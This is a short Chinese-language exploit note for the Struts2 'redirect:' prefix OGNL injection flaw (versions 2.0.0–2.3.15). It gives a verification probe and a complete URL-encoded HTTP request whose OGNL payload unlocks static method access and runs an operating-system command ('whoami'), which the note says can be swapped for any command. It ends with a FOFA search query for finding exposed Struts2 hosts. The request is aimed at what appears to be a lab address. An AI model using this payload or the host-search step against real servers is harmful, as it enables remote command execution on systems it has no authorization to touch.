一、漏洞概述
在struts2中,DefaultActionMapper类支持以"action:"、“redirect:”、"redirectAction:"作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令。
二、影响范围
Struts 2.0.0 - Struts 2.3.15
三、漏洞验证
/index.action?redirect:%25%7B66*2%7D
如果执行66*2计算公式证明漏洞存在
四、漏洞复现
GET /index.action?redirect:%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('whoami').getInputStream())%7D HTTP/1.1
Host: 123.58.224.8:28468
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: metabase.DEVICE=47be73da-b525-49e6-beec-0c5b291b2e3c; _ga=GA1.1.2097748309.1721011407; _gid=GA1.1.352847630.1721011407; JSESSIONID=467F2BA723459C4EFBB2CF5476635B0E
Connection: close
通过修改whoami达到任意命令执行。
五、漏洞利用
1、fofa:app="struts2"